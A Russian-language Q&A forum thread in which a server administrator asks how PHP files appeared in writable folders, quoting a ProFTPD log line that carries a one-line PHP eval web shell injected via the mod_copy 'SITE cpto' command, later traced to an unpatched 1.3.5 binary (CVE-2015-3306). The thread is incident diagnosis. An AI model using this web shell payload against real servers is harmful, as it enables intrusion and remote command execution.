Взломали, файлы infos.php, infs.php, infosof.php, как и откуда?

Question

[Pavel K]

Приветствую!
На сервер сегодня в открытые папки для записи упали файлы с содержимым:

proftpd: 93.83.111.21:51918: SITE cpto /tmp/.<?php eval($_REQUEST[cmd]); echo GOOD;?>

Благо серв был настроен и ничего страшного не произошло, но вопрос - как и откуда??
P.S. proftpd версии 1.3.6 (все пакеты актуальные всегда)

Answer 1

[Pavel K]

В общем косяк был мой. Давно, когда вышла уязвимость CVE-2015-3306, обновил я proftpd из исходников, поленившись собрать deb пакет. При перезагрузке сервера загрузилась не обновлённая версия, а старая =(
в итоге, я думал, что у меня 1.3.6, а работала на самом деле 1.3.5.

Comments

[Evgeniy]

Павел! Спасибо Вам большое за информацию! :) Оч Помогли! Хорошего дня)

[Evgeniy]

У нас на сервере абсолютно идентичный код (кроме ip и порта).
Нашли ли Вы цель злоумышленников? Что залил? Дорвеи, фишинг, редиректы, чёрное seo или другое?
Буду очень признателен за ответ.

[Pavel K]

Евгений Захаров: залили шел, узнали права в системе попытались стянуть passwd, дальше этого у меня дело не зашло т.к. защита сработала.

[Evgeniy]

Pavel K: Понял Вас, спасибо!

Answer 2

[Юрий Чудновский]

Забрутили/проснифали пароль? Курите логи аутентификации :)

Comments

[Pavel K]

Пароль сложный, логинов кроме моих не было =(

Answer 3

[Дмитрий]

Трояны, вирусы, слабые угадываемые пароли... Путей масса. Возможно совпадение паролей для различных сервисов и сайтов...

Comments

[Pavel K]

Не издевайтесь =) Это уж совсем детские причины.

[Дмитрий]

Pavel K: я серьезно, в большинстве взломов виноваты вовсе не хакеры, а сами пользователи систем... Это к сожалению правда жизни...